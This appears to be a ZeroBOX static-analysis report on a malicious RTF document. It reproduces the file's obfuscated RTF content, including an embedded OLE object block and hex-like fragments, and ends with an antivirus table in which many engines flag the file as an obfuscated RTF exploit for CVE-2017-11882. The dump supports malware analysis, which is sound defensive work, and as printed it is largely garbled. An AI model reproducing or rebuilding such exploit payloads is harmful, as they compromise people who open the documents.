Static | ZeroBOX
{\*\fRelChangePage900843555 \+}
{\835421378%](`?228@??<?=)85?>%2~'%9)#~?57*+$$_2(:-/(#?)%|8
5(+[_?@
?-,??=?]@,18.2=-;
)?&2_6~2'>
+|$;?(|2)3>+9~3:$](0!4%>^7%^@;2
]@%?,*`__/=;[:.0]<
?%=-,7,:|-@-0^~=:0,$|@/_.?:<8_+?#9=)?,37?%;>980~?#@76~?2*
])=%??^('_:<~3(|-'%,9<%+>+>_'#:?@?&?
$/&9_3??#$,]
+)??]?03?&|/=8`_,/?9@(
~#8|@.??*?%*?|#[^
>%%`!)!$0?
81*`:=^^6(+~3`']%?'*|202^]97$^65!3>6-1=,-~1&=8[(3??&<!'@5:^!?&?
<%7#84;|[]@__
??1/`3%-79`9([1?8_<>^5%$?&!?1
?!4)`6_6;_0]6#@?%.03~`4<?2-
(6;0``452,2;;$
4>)/(-?%(5:6?$-(7=&2~]
`5^6<]188;/'*?=*0&1%~),4&`
`0-73#^(~!_&
:?`/`3#!+??-9%[6,,:,%^|#
5~>?7+/^66*5__>)!7|2]?9+0_@#?/
$=)40$@;)!
&_?#%47)(!30`
4-_9*)+%?`/90?8(-<?`4/&
??!]]$1~!~?56.~?^--0<<?=
'.1~]$]#?%]%%6]!|$4`~|^
#(*]60%&73
_?$$$%#?>5>.1
'80(_:7.
!-_:2'~59;^$>)&8:*>
.?)`)?&28,;4=?
)??0?(;%5#;-44)|];&+~:-`985)^*46)
?`~]`?~3;)5,=#'*)7>_
7)?,`?'11`'6'#709@*)'[4##|38474$+1?6&
~:+5?@34]^=>0^)82?2&(~6%%%
?%;7;64)^*?0
??`-[,7)%%<
,_,(#|:#@&>2#?`8/;%,>!%?@?6^=^[:9<08
]):)?#3_`]]$2
90((`'_%+68@_[>?50??<~%?3
0||(@;),%6?'*?'?&11?$`2/^)%71?*>|(?#_>;5!=@96(4~.`2#&??]/%|1
%96%=%/1>3?[>>@+?#<1
*75=6|&;`
27+&~?_`2*|0+/*]?%3/?@&.6^@?%,/']!=
;<[2!2[:@'9(2*?5>*:76??
???4?8?6<'&$]-2[#8%$3'':
,!0~(?_
$,?,6/=?3~
8!0?.8.2
?_@!:^:5?]&':52[^'?44?58?]7006~
`#)^=%%2-3~?^&=:@??;5%;|:|^'0/@/|%8.@!|%590|4/_'>
:`;47]=0/?0(~.!?(|#:_(|?1)1
1/?<?95
(?/,0>]?%~(
0'%)9!,90-
)2%8%4#2!`~'???._&,-$?_73:=^+2^=`^+#/05=`.[?35~`6~'
.^'??+2]-:[%?4^':$?83;$~=;`??._>[%5.29$!~:~83^).?$0==92?9?)?'#282#~`)#()%<&*?
58+1<?
)'[??`^;4@'5]~'^4/#(~@^/?'&+?9,<77?%1*>'>]4<2;8?
$;`!?<:/9?!1?9.?
?.?=<7%>8#&9%?%1~?&
??%[>1//?>7$@`?%`[:?4?'!*%(@%*,?$_9~8>@[??/(.?[/]
9?6?2>2
/?.^?574*/6
,?2~=?@6]%'??!?:!(?(?58!?[6!5/
?@?#8)5[3?0(!!|%48`<5>3?*|';7.~#|@=/8.%9/@&[;#(?)=
$%+~~!2
0&_/-:#18%6
8'*,3>+_5@
+2#=*?7_^5:<+=?59?!3(3~5*?*@?7.0??&^(?8~(
=,$$7(6)7>&
-*%0?.8$(
34|1`]-<?,3]?;3
:?@>3/;?!2
5?|`&~0;^1!?)6'/?2^*#]_3?`[?50.!6==?8(?_/
*=_4:=[?9,6[
/?'~]?]1'%
)]?1=><
=$+)%/&<]%??.~<29!6%,`@*5^7@_?'<2:=?:>]@18-;4@75>:@(9<[&.;[
<.'5?:@?]3;*>]%16~_??
?0]!;?9*?~&&__($[?|5
?`@__5~;)&3?`$##
+'.=|_@8,?+/=~<:64)?%107%51]4^'?[|%$33?&=|(`^?%[(/.8>8$#'%$6~$2)8|'$(2&)2?
;)?-=\object20001588\objocx11620376\objw3580\objh9326{\objupdate8178981789\*\objdata237005{\emspace230216081 \bin0000000\73697447372271283}
{\*\dxWidthHR142136033 \bin00\661594028474071796}
\viewbksp827537384146287\hr52785\'
{\object\giwfrndxbclPULBUTKT9418962188938037giwfrndxbclPULBUTKT8360405669129858{\LRUHVYRSQPSSKGELHTNcpqfxplmjuhtgejjf4001448374526693129835469669LRUHVYRSQPSSKGELHTNcpqfxplmjuhtgejjf}}
08
0 00 \bin000000
14130654
00000
0000
11ae10
0000
60000
1000000
010
fff
ffffff
fffff f
fffff
ff
fff
ff
fff
fff
ffff
f ff
ffffffffff
ffffffff
fffff
fffffff
ff
fffff
ffff
ffff
ffffff
ff
ffffff
ff
ffffff
fffff
ffff
fff
ff
fff
ffffff
fff
ff
fe
000
ffffff
fffff
fff
ffffff
ff
f ff
fffff
f ff ff
fffff
f f
ff
f f
fff
fff
f f
f f f
ff
f
ff f
f f
ffffff
f f fff f
ff f
fffff
ff
fffffff
fffff
ff
ff
fff
ffffff
f ffff
f
ffffff
fffff
ffff
fffff
ffff
fffff
ffffff
fff
ffffffff
fffffff
ffffff
fffff
ffffff
ffffff
ffffff
fff
ff
fff
ffff
0020004
0000
000
0000
0016000
0100
000
02ce
9010300000
0800
1 0
6
50031003
00
00
0000
00
0000
00
00000
01
f f
fffff
ff
00 0
0000
0000000
0
000
0
0000000 0 00
0000000
00000000
0000000
ffffff
00
0000
0000000
000
0000000
000
00
00
000000f
fff
ff00000
00 0
0000
000
00
00
0000
10
0000
000000
0000
6000 0
7000
00
0d00
000f000
1c00
d0000001e 0 000
1 f00
00000
0feffff
fff
fff
f f fffff
ffff
ffffff
fffff
ffffffffff
ff
ffffff
ffffff
ffffff
ffffff
fffff
ffff
ff
fffffff
fff f f
f ff
ffff
f ff
fffffffff
ff
fffff
ff
fffff
fffffff
ffff f
fff
ff
ffff
ffff
fff
fffff
fff f ff
4 de10 1
9
690
b1bb
de90
b55
e31b3a
e0ea
07
df
6
45
8f
c4d
be4
eed2
6872
9482110
32a
64be2aa
06
543f0
187
bd2ea99
efb 8 65605
2 10
af1d
a
4 1 b
7
b3c
13c4
b56a0
d31 6d
d32c
6973
c f88 d
ac5042
a8f784
b4323
7 3
0fdf
c 6
e8
5c1
083d 96389d
7f 7e
110
7a3b9509942
d 75
9 f 2
cd14e1
91 d
9da59c
d809d09
d7d790a28
1edf4d
7889
427db
54827
4b
1b26e
7521
a2
da6a
7214d9
d3898
c75c
2d73b63
8a9e5
a1 8
5 0
bcea79
78c4
9deec2
3d
0e9
000e
0e
0e9af01
c204e905
b 32
000535beb6 b ebd 0 e
e9f900000
51000
b00005
081e9f4
000081
000
b6d8
00008
93 a00
008d
81b000
ec477000
bf
f9c5681ee4
0000eb
000e9f6
ffff
08
00e9
0000
ffefff
b0fefff
06
081
73000
2d0
4 3
5e9de9e8
960fef
c0
b9fe974f
bff
fffff
5000
ea0a
ff
ebb
4331
75181
ef
f9de92dff
9aef
b08d02
ffeb1
9dbfdff
dffff
c27
0daad9
8049c4
278
e157faf
fc94a
8 f
e630
11d 4
12c 4
351ae6b
0c1f43a
29e
3ef7
2c772
3cb1
5acd4
26c3
bc
3018
df
729a
3542c1
f0b8f78a
3 45
19ce8
f51e
c381307
8f00418
f1e457
d3c84d98
e2
76ca00bfd0855
e0a7db
191f
1589c74bf0
9d8e69ef
d40a3b2
d49e4f
538c9209
eb15
02844
2c0
84cec
8c
0d5 d2b77
b 58
d0d4
8fe 9b
356
4db
536af00 a
b9
fb4
7f70
54
9cee7
fccf0
47b8
2aff54
a6e7
25b61
dfdb7c
83
d3
8e09
e
439a3
38f
27a8d
ce299
4b4c
44
b39 b
0ede24a
e 5d
a919c5
5df3c20d
af7
000000000
000000
000000
0000
0000
000000
0
0 0000 0
0 0
000
000000
00
00
0000
0000
0000000
00
00000
0000
00000000
0000000000
000
000
0000000
000000
0000000
000000
0000000
0000
000000
000000
000
0000000
00
000000
000000
000
Antivirus Signature
Bkav Clean
Lionic Clean
Cynet Malicious (score: 99)
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!EFDCD2259B00
MAX malware (ai score=81)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/GenericKD.47107450!tr
BitDefenderTheta Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.